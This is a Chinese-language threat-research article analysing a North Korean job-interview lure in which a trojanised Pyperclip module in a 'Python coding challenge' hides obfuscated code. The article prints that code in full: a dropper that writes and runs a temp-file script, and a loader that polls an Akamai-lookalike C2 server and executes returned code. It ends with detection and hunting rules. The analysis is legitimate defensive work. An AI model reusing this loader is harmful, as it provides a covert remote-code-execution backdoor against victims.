Colson Wilhoit

行为准则:朝鲜利用 Python 入侵安全网络

本出版物深入调查了朝鲜战略性地使用 Python 和精心设计的社会工程攻击手段,揭示了他们如何利用不断演变且有效的网络攻击来突破高度安全的网络。

Code of Conduct: DPRK’s Python-fueled intrusions into secured networks

导言

在国家支持的网络行动这个阴暗世界中,很少有威胁行为者能像朝鲜民主主义人民共和国 (DPRK) 那样引起如此多的关注和恶名。朝鲜相关的威胁组织不断展示他们将社会工程策略与战术能力相结合的使用。在其武器库的最前沿是一种意想不到的武器:Python。

这种用途广泛的编程语言因其可访问性和强大功能而备受推崇,已成为朝鲜特工寻求初始访问目标系统的工具。这些威胁行为者通过精心设计的社会工程计划和伪装精巧的 Python 代码的强大组合,成功渗透了一些世界上最安全的网络。

本出版物将探讨朝鲜如何使用社会工程和基于 Python 的诱饵进行初始访问。基于 Reversing Labs 团队发布的针对他们称之为 VMConnect 的活动的研究,我们将探讨一个非常近期的真实案例,剖析代码,并研究是什么让这些攻击如此有效。通过了解这些技术,我们旨在揭示国家支持的网络威胁不断变化的态势,并为防御者提供对抗这些威胁的知识。

主要结论

  • 朝鲜的社会工程策略的复杂性通常涉及长期的人格发展和有针对性的叙述。
  • 使用 Python 的原因是它易于混淆、广泛的库支持以及与合法系统活动融合的能力。
  • 这些诱饵证明了朝鲜技术正在不断演变,这突显了在网络防御策略中持续保持警惕和适应的必要性。
  • 此活动中的 Python 脚本包含允许执行系统命令以及编写和执行本地文件的模块

RookeryCapital_PythonTest.zip

此样本以“第一资本”工作面试的 Python 编码挑战为幌子分发。它包含一个表面上看起来无害的已知 Python 模块。此模块包括标准的剪贴板管理功能,但也隐藏着能够泄露数据和执行任意命令的混淆代码。

攻击者使用 Base64 和 ROT13 等编码技术来伪装危险功能,以逃避人工审查和自动安全扫描的检测。该代码连接到远程服务器,在剪贴板操作的幌子下下载并执行命令。这是恶意功能如何轻松地伪装在标准代码中的完美示例。

我们将逐行分析此 Python 应用程序,揭示它是如何

  • 建立与恶意服务器的连接
  • 通过远程代码执行 (RCE) 执行隐藏命令
  • 使用常见的混淆技术来逃避检测
  • 嵌入持久的重试机制以确保成功通信

PasswordManager.py

此“Python 挑战”通过一个.zip文件提供,其中包含一个名为“PasswordManager”的 Python 应用程序。此应用程序主要由一个主脚本PasswordManager.py和两个 Python 模块PyperclipPyrebase组成。

首先检查README.md 文件,很明显这应该是某种面试挑战或评估,但立即引起我们兴趣的是以下几行

这很有意思,因为他们希望确保应用程序在用户进行任何可能导致某些功能中断或变得明显的更改之前运行。

PasswordManager.py文件看起来像一个基本的 Python 密码管理器应用程序。当然,正如我们上面提到的,应用程序将两个第三方模块(PyperclipPyrebase)导入到此主脚本中。

Pyperclip 模块

Pyperclip模块有两个文件,__init__.py__main__.py

在 Python 中,模块通常由多个文件组成,其中两个重要的文件是 __init__.py__main__.py__init__.py 文件初始化一个 Python 包,允许它在导入时起作用,而 __main__.py 文件允许该模块作为独立程序运行。

init.py

__init__.py 是要导入的第一个模块,主要用于促进在各种平台(Windows、macOS、Linux 等)上的剪贴板操作。此代码的大部分旨在检测平台(Windows、Linux、macOS),并提供相应的剪贴板处理功能(复制、粘贴),依赖于本机实用程序(例如,macOS 的 pbcopy,Linux 的 xclip)或 Python 库(例如,gtk、PyQt4/PyQt5)。

导入项显示了来自 base64codecssubprocesstempfile 等库的潜在有趣或可疑的功能。base64 模块提供编码或解码功能,可用于隐藏或混淆敏感信息。当与 codecs 配对时,codecs 是另一个通常用于编码或解码文本的模块(在这种情况下,使用 ROT13 密码),很明显,该脚本正在操作数据以逃避检测。

subprocess 模块的存在尤其令人担忧。此模块允许脚本运行系统命令,从而打开了在计算机上执行任意代码的大门。此模块可以执行外部脚本、启动进程或安装恶意二进制文件。

包含 tempfile 模块也值得注意。此模块会创建可以写入和执行的临时文件,这是恶意软件用来隐藏其踪迹的常用技术。此模块表明该脚本可能正在将内容写入磁盘并在临时目录中执行它。

import contextlib
import ctypes
import os
import platform
import subprocess
import sys
import time
import warnings
import requests
import datetime
import platform
import codecs
import base64
import tempfile
import subprocess
import os

init.py 导入项

分析脚本,一个分配给变量 req_self 的大型 base64 编码 blob 很快就脱颖而出。

req_self = "aW1wb3J0IHN0….Y29udGludWUNCg=="

解码这个 Base64 编码的字符串会显示一个全新的、独立的 Python 脚本,其中包含一些非常有趣的代码。

混淆的 Python 脚本

该脚本导入了几个标准库(例如,requestsrandomplatform),使其能够生成随机数据、与操作系统交互、编码/解码字符串以及进行网络请求。

import string
import random
import requests
import platform
from time import sleep
import base64
import os
import codecs

编码后的 Python 脚本导入

该脚本包含两个名为 corand_n 的函数。

co 函数用作辅助函数。此函数检查当前操作系统 (osn)。它使用 codecs.decode 函数和 ROT13 编码来解码字符串 Jvaqbjf,结果为 Windows。如果操作系统是 Windows,它返回 0;否则,它返回 1

def co(osn):
  if osn == codecs.decode('Jvaqbjf', 'rot13'):
      return 0
  else:
      return 1

编码后的 Python 脚本中的 co 函数

在 macOS 或 Linux CLI 上或使用 ROT13 CyberChef recipe 可以轻松完成 ROT13 的解码。

$ echo "Jvaqbjf" | tr '[A-Za-z]' '[N-ZA-Mn-za-m]'
Windows

rand_n 函数从字符串 123456789 生成一个 8 位伪随机数。这很可能在与远程服务器的进一步通信中用作标识符 (uid)。

def rand_n():
  _LENGTH = 8
  str_pool = "123456789"
  result = ""
  for i in range(_LENGTH):
      result += random.choice(str_pool)
  return result

编码后的 Python 脚本中的 rand_n 函数

在函数声明之后,脚本定义了一组具有硬编码值的变量,它将使用这些变量。

uid = rand_n()
f_run = ""
oi = platform.system()
url = codecs.decode('uggcf://nxnznvgrpuabybtvrf.bayvar/', 'rot13')
headers = {"Content-Type": "application/json; charset=utf-8"}
data = codecs.decode('Nznmba.pbz', 'rot13') + uid + "pfrr" + str(co(oi))

编码后的 Python 脚本变量

  • uid:使用 rand_n() 生成的随机标识符
  • oi:操作系统平台
  • url:使用 ROT13 解码后,这解析为一个恶意服务器的 URL (https://akamaitechnologies[.]online)。威胁参与者显然试图通过编码 URL 并将其伪装成看似合法的服务 (Akamai)(一个已知的 CDN 提供商)来逃避检测。
  • data:这是发送到服务器的数据有效负载。它包含一个解码后的字符串 (Amazon[.]com)、随机 uid 和 co(oi) 的结果,后者检查操作系统是否为 Windows。

脚本的最后一部分是主 while 循环。

while True:
  try:
      response = requests.post(url, headers=headers, data=data)
      if response.status_code != 200:
          sleep(60)
          continue
      else:
          res_str = response.text
          if res_str.startswith(codecs.decode('Tbbtyr.pbz', 'rot13')) and len(response.text) > 15:
              res = response.text
              borg = res[10:]
              dec_res = base64.b64decode(borg).decode('utf-8')

              globals()['pu_1'] = uid
              globals()['pu_2'] = url
              exec(compile(dec_res, '', 'exec'), globals())
              sleep(1)
              break
          else:
              sleep(20)
              pass

  except:
      sleep(60)
      continue

编码后的 Python 脚本主 while 循环

第一个 try 块使用 headers 和 data 向恶意服务器 (url) 发送 HTTP POST 请求。如果服务器返回的状态代码不是 200 OK,则脚本等待 60 秒并重试。

否则,如果响应以解码后的字符串 'Google.com' 开头,并且响应长度大于 15,则它会提取响应的 base64 编码部分。然后,它会解码此部分,并使用 exec(compile(dec_res, '', 'exec'), globals()) 执行解码后的脚本。这允许攻击者发送任意 Python 代码,使其在受害者的机器上执行。

在循环的末尾,它会使用随机 uid 和用于与远程服务器通信的 URL 设置全局变量。这将在稍后执行下载的有效负载时使用。

现在我们了解了编码后的 Python 脚本的用途,让我们回到 __inity__.py 脚本,并分解执行 base64 编码部分的函数。

inity.py

回到 __inity__.py 脚本中,我们可以查找对 req_self 变量的任何其他引用,以了解脚本如何处理该编码后的 Python 脚本。我们在定义为 cert_acc 的函数中找到一个单独的引用。

def cert_acc():
  ct_type = platform.system()
  l_p = tempfile.gettempdir()

  if ct_type == codecs.decode("Jvaqbjf", stream_method):
      l_p = l_p + codecs.decode('\\eronfr.gzc', stream_method)
      header_ops = codecs.decode(push_opr, stream_method) + l_p
  else:
      l_p = l_p + codecs.decode('/eronfr.gzc', stream_method)
      header_ops = codecs.decode(push_ops, stream_method) + l_p

  request_query = open(l_p, 'w')
  request_object = base64.b64decode(req_self)
  request_query.write(request_object.decode('utf-8'))
  request_query.close()
  try:
      if ct_type == codecs.decode("Jvaqbjf", stream_method):
          subprocess.Popen(header_ops, creationflags=subprocess.DETACHED_PROCESS)
      else:
          subprocess.Popen(header_ops, shell=True, preexec_fn=os.setpgrp)
  except:
      pass
cert_acc()
ct_type = platform.system()

此变量使用 platform.system() 函数检索当前操作系统类型(例如,Windows、Linux、macOS 的 Darwin)。该值存储在 ct_type 变量中。

l_p = tempfile.gettempdir()

此变量调用 tempfile.gettempdir() 函数,该函数返回系统临时目录的路径。此目录通常用于存储系统或程序创建的临时文件,并在重新启动时删除这些文件。该值被分配给 l_p

if-else 块利用 codecs 库的解码函数,使用 ROT13 解码字符串 Jvaqbjf,它转换为 Windows。这会检查系统类型是否为 Windows。如果系统是 Windows,则代码会将 ROT13 解码的字符串(解码后为 \eronfr.gzc,解码后为 \rebase.tmp)附加到临时目录路径 l_p。然后,它会构造一个命令 header_ops,该命令可能将解码后的 push_opr 变量(也使用 ROT13)与该路径组合在一起。

如果系统不是 Windows,它会附加一个类似 Unix 的文件路径 /eronfr.gzc(解码后为 /rebase.tmp),并类似地使用 push_ops 构造命令。这部分代码旨在根据操作系统运行不同的有效负载或命令。

if ct_type == codecs.decode("Jvaqbjf", stream_method):
      l_p = l_p + codecs.decode('\\eronfr.gzc', stream_method)
      header_ops = codecs.decode(push_opr, stream_method) + l_p
  else:
      l_p = l_p + codecs.decode('/eronfr.gzc', stream_method)
      header_ops = codecs.decode(push_ops, stream_method) + l_p

接下来的几个语句(以 request_ 开头)用于将我们已经分析过的 Base64 编码的 Python 脚本写入临时目录中的磁盘。此代码在临时目录中打开一个新文件 (l_p),该目录之前是根据系统类型设置的。变量 `req_self`(也是一个 Base64 编码的字符串)被解码为其原始形式。解码后的内容被写入文件,然后关闭文件。

request_query = open(l_p, 'w')
  request_object = base64.b64decode(req_self)
  request_query.write(request_object.decode('utf-8'))
  request_query.close()

该函数的最后一个 try 块有助于执行编码后的 Python 脚本。

如果系统类型是 Windows,则代码会尝试使用 subprocess.Popen 函数执行该文件(在 header_ops 中构造)。DETACHED_PROCESS 标志确保该进程独立于父进程运行,使其更难跟踪。

如果系统不是 Windows,则它会使用不同的执行方法(使用 shell=Truesubprocess.Popen)运行该文件,这对于类似 Unix 的系统 (Linux/macOS) 更常见。preexec_fn=os.setpgrp 使该进程免受终端中断的影响,允许其在后台运行。

try:
      if ct_type == codecs.decode("Jvaqbjf", stream_method):
          subprocess.Popen(header_ops, creationflags=subprocess.DETACHED_PROCESS)
      else:
          subprocess.Popen(header_ops, shell=True, preexec_fn=os.setpgrp)
  except:
      pass

cert_acc 函数执行模糊处理的 Python 脚本,该脚本检索要在 cert_acc 函数中执行的命令。

Pyperclip 包中的脚本显示出明显的恶意行为迹象,它使用 ROT13 和 Base64 编码等模糊处理技术来隐藏其真实意图。它会识别操作系统并相应地调整其操作,写入磁盘并在系统的临时目录中执行模糊处理的 Python 脚本。该脚本与远程服务器建立通信,从而实现远程代码执行 (RCE),并允许攻击者发送进一步的命令。这个精心隐藏的过程确保了脚本隐秘运行,避免检测,同时保持对受感染机器的有效 C2(命令和控制)。

活动交叉点

当我们找到这个样本时,我们也遇到了其他与其代码实现相匹配的样本以及我们在野外观察到的先前活动诱饵。

这个诱饵再次伪装成在求职面试的名义下提供的 Python 编码挑战。它的 Python 代码实现与我们上面分析的代码完全匹配,并且根据描述和文件名,它与 Mandiant 描述的诱饵“CovertCatch”相匹配。

下一个诱饵与之前的诱饵不同,但与我们之前看到和撰写的 Python 代码实现相匹配。去年,我们曝光了名为“KandyKorn”的恶意软件,该恶意软件针对加密货币开发人员和工程师。

检测、搜寻和缓解策略

检测和缓解这类混淆的恶意代码及其行为需要结合主动安全措施、监控和用户意识。

针对这些诱饵和初始访问攻击的最佳缓解策略是教育您的用户,让他们了解像朝鲜民主主义人民共和国(DPRK)这样的威胁行动者为获取代码执行权而采用的广泛且有针对性的方法。了解这些攻击活动,并能够在执行前识别它们,再加上对代码进行适当分析的高度重视,尤其是在处理来自“招聘人员”、“开发者论坛”、“Github”等第三方应用程序时,将为防御这些攻击提供坚实的基础。

具体到这个样本,我们可以编写几种不同的检测方法,围绕代码执行机制的行为以及与该活动相关的潜在用例。虽然这些查询是 macOS 特有的,但您可以采用它们并进行修改,以便在 Windows 上检测相同的活动。

[检测] Python子进程 Shell 临时文件执行和远程网络连接

sequence by process.parent.entity_id with maxspan=3s
[process where event.type == "start" and event.action == "exec" and process.parent.name : "python*"
 and process.name : ("sh", "zsh", "bash") and process.args == "-c" and process.args : "python*"]
[network where event.type == "start"]

此规则查找 __init__.py 样本将混淆的 Python 脚本写入磁盘并使用 subprocess.Popen 方法时所表现出的特定行为,该方法将 shell 变量设置为 True 以执行连接到远程服务器以检索和执行命令的 Python 脚本。

[狩猎] Python在临时目录中创建可执行文件

file where event.type == "modification" and file.Ext.header_bytes : ("cffaedfe*", "cafebabe*")
 and (process.name : "python*" or Effective_process.name : "python*") and file.path : ("/private/tmp/*", "/tmp/*")

如果威胁行动者试图利用此功能在脚本中已指定的临时目录中下载可执行的有效负载,我们可以使用此规则来查找通过 Python 在临时目录中创建可执行文件的情况。

[狩猎] 通过 Python 执行交互式 Shell

process where host.os.type == "macos" and event.type == "start" and event.action == "exec" 
and process.parent.name : "python*" and process.name : ("sh", "zsh", "bash")
 and process.args == "-i" and process.args_count == 2

威胁行动者可以使用执行功能在目标系统上打开交互式 shell,以执行漏洞利用后的操作。我们已经看到国家级行动者使用这样的交互式 shell。我们可以使用此规则来查找通过 Python 创建此交互式 shell 的情况。

[狩猎] 可疑的Python子进程执行

process where event.type == "start" and event.action == "exec" and process.parent.name : "python*"
 and process.name : ("screencapture", "security", "csrutil", "dscl", "mdfind", "nscurl", "sqlite3", "tclsh", "xattr")

威胁行动者还可以使用此代码执行功能来直接执行系统二进制文件,以实现各种漏洞利用后的目标或操作。此规则查找直接执行一些不常用的本地系统工具的情况,尤其是在通过 Python 执行时。

结论和未来趋势

正如我们在整个分析过程中所探讨的那样,朝鲜民主主义人民共和国 (DPRK) 已成为国家支持的网络行动中一股强大的力量。通过将社会工程学与基于 Python 的诱饵相结合,他们的方法已在安全成熟度各不相同的组织中获得成功。

他们将 Python 用于初始访问操作证明了网络威胁的不断演变。通过利用这种通用且广泛使用的编程语言,威胁行动者找到了一种强大的工具,它既提供开发中的简单性,又提供混淆中的复杂性。Python 在他们手中的这种双重性质已被证明对网络安全防御者构成了重大挑战。

我们对这个最近的样本的深入研究为我们提供了有关朝鲜民主主义人民共和国威胁行动者当前战术、技术和程序 (TTP) 的宝贵见解。这个案例研究证明了社会工程学和定制的 Python 脚本如何协同工作,成为高效的初始访问载体。

随着国家支持的网络行动的推进,从研究朝鲜民主主义人民共和国的方法中获得的见解变得越来越有价值。网络安全专业人员必须对社会工程学和复杂的基于 Python 的工具的双重威胁保持警惕。防御这些威胁需要多方面的方法,包括强大的技术控制、关于社会工程学策略的综合员工培训以及侧重于识别可疑 Python 活动的先进威胁检测能力。

展望未来,在网络安全社区内加强合作并分享应对这些复杂威胁的见解和策略至关重要。我们希望通过集体的警惕和适应性防御机制,在这场针对像朝鲜民主主义人民共和国这样的国家支持的行动者的持续网络象棋游戏中保持领先地位。

资源